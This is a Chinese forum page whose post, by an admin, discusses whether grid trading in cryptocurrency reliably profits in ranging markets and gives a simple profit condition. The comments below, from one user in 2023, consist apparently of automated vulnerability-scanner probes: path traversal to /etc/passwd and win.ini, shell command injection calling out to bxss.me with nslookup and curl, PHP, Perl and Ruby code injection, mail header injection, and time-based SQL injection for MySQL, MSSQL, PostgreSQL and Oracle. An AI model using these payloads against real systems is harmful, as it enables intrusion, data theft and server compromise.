震荡走势中网格策略是否一定盈利?

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网格交易策略是数字货币量化里面经常提起的一个经典策略,其交易逻辑较简单,代码化较为容易,但是大家总存在两个相反的误区:1、乐观派:我只要能判断震荡和趋势,网格交易策略就稳赚。2、悲观派:网格最终都是爆仓的结局。对于乐观派来说,其实忽视震荡中网格照样存在风险,那么网格策略震荡中的风险是怎么产生的呢,不妨我们来看一个最简单的网格模型吧,假设网格大小d,即价格向盈利方向波动d的距离时止盈,这里存在两种订单,一类是成功止盈的,假设数量为n1,一类一直无法止盈的,设数量为n2,未止盈的成本为p2,当前价格为p0,那么该网格模型盈利的条件是:n1*d>n2*|(p0-p2)|, 即,n1/n2>|(p0-p2)|/d,n1/n2可以理解为双边成交/单边成交的比例,|(p0-p2)|/d可以理解为盈亏比的倒数,从上式可以看出,当你的止盈间距过小时,即使在震荡走势中也很有可能无法盈利的,同样的,通过上式,我们也可以反驳一下悲观派,我们只要优化一下双边成交概率和止盈间距,网格成为一种稳定盈利的策略也是非常有希望的,往往一个好的网格策略,其止盈间距一般是动态的,且有严格的风控止损措施,完全无止损的网格策略,最终当然是逃脱不了爆仓的厄运的。


  admin   2019-5-5

jJQaBOcg2023-9-23 3:52:39
/../../../../../../../../../../windows/system32/BITSADMIN.exe
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response.write(9067721*9907588)
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'+response.write(9067721*9907588)+'
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"+response.write(9067721*9907588)+"
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../../../../../../../../../../../../../../etc/passwd
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bcc:009247.40289-43469.40289.eaa6d.19622.2@bxss.me
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../../../../../../../../../../../../../../windows/win.ini
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to@example.com> bcc:009247.40289-43470.40289.eaa6d.19622.2@bxss.me
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file:///etc/passwd
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echo ksjnnb$()\ otiwll\nz^xyu||a #' &echo ksjnnb$()\ otiwll\nz^xyu||a #|" &echo ksjnnb$()\ otiwll\nz^xyu||a #
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../
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&echo ittvrm$()\ tudrfd\nz^xyu||a #' &echo ittvrm$()\ tudrfd\nz^xyu||a #|" &echo ittvrm$()\ tudrfd\nz^xyu||a #
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|echo mcfahk$()\ ojvmby\nz^xyu||a #' |echo mcfahk$()\ ojvmby\nz^xyu||a #|" |echo mcfahk$()\ ojvmby\nz^xyu||a #
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12345'"\'\");|]*{ <>�''
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(nslookup -q=cname hitirerkjyygz72a90.bxss.me||curl hitirerkjyygz72a90.bxss.me))
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$(nslookup -q=cname hitsqooqdiwkua46dc.bxss.me||curl hitsqooqdiwkua46dc.bxss.me)
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&nslookup -q=cname hitszitunmedob81d2.bxss.me&'\"`0&nslookup -q=cname hitszitunmedob81d2.bxss.me&`'
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&(nslookup -q=cname hitcscngnxndja6e85.bxss.me||curl hitcscngnxndja6e85.bxss.me)&'\"`0&(nslookup -q=cname hitcscngnxndja6e85.bxss.me||curl hitcscngnxndja6e85.bxss.me)&`'
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|(nslookup -q=cname hitnxxeqdspwwd4e9c.bxss.me||curl hitnxxeqdspwwd4e9c.bxss.me)
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!(()&&!|*|*|
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`(nslookup -q=cname hitvswuuvvtru1e841.bxss.me||curl hitvswuuvvtru1e841.bxss.me)`
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^(#$!@#$)(()))******
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http://dicrpdbjmemujemfyopp.zzz/yrphmgdpgulaszriylqiipemefmacafkxycjaxjs?.jpg
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1yrphmgdpgulaszriylqiipemefmacafkxycjaxjs.jpg
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Http://bxss.me/t/fit.txt
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http://bxss.me/t/fit.txt?.jpg
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'.gethostbyname(lc('hitct'.'dkjoqqxra3843.bxss.me.')).'A'.chr(67).chr(hex('58')).chr(119).chr(88).chr(98).chr(65).'
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/etc/shells
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".gethostbyname(lc("hitbg"."wybrkpjh93e99.bxss.me."))."A".chr(67).chr(hex("58")).chr(105).chr(86).chr(111).chr(72)."
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c:/windows/win.ini
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bxss.me
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"+"A".concat(70-3).concat(22*4).concat(109).concat(72).concat(106).concat(76)+(require"socket" Socket.gethostbyname("hitia"+"ngsntfiydcea1.bxss.me.")[3].to_s)+"
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'+'A'.concat(70-3).concat(22*4).concat(104).concat(88).concat(100).concat(78)+(require'socket' Socket.gethostbyname('hitgl'+'javoagsgc1f8e.bxss.me.')[3].to_s)+'
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;assert(base64_decode('cHJpbnQobWQ1KDMxMzM3KSk7'));
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';print(md5(31337));$a='
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'"()
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";print(md5(31337));$a="
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'&&sleep(27*1000)*rdhcrd&&'
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${@print(md5(31337))}
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"&&sleep(27*1000)*qnqkdk&&"
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${@print(md5(31337))}\
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'||sleep(27*1000)*iyixdq||'
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'.print(md5(31337)).'
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223
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223
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vfNXshRS
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-1 OR 3*2<(0+5+140-140)
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-1 OR 3*2>(0+5+140-140)
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if(now()=sysdate(),sleep(15),0)
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0'XOR(if(now()=sysdate(),sleep(15),0))XOR'Z
jJQaBOcg2023-9-23 4:02:08
0"XOR(if(now()=sysdate(),sleep(15),0))XOR"Z
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(select(0)from(select(sleep(15)))v)/*'+(select(0)from(select(sleep(15)))v)+'"+(select(0)from(select(sleep(15)))v)+"*/
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-1; waitfor delay '0:0:15' --
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-1)); waitfor delay '0:0:15' --
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1 waitfor delay '0:0:15' --
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uVO4tQdX'; waitfor delay '0:0:15' --
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-5 OR 249=(SELECT 249 FROM PG_SLEEP(15))--
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-5) OR 840=(SELECT 840 FROM PG_SLEEP(15))--
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-1)) OR 414=(SELECT 414 FROM PG_SLEEP(15))--
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6LczTuUh') OR 233=(SELECT 233 FROM PG_SLEEP(15))--
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35NaYDaW')) OR 972=(SELECT 972 FROM PG_SLEEP(15))--
jJQaBOcg2023-9-23 4:06:22
*DBMS_PIPE.RECEIVE_MESSAGE(CHR(99)||CHR(99)||CHR(99),15)
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'||DBMS_PIPE.RECEIVE_MESSAGE(CHR(98)||CHR(98)||CHR(98),15)||'
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1'"
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1����%2527%2522
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@@bMrg8
Remark: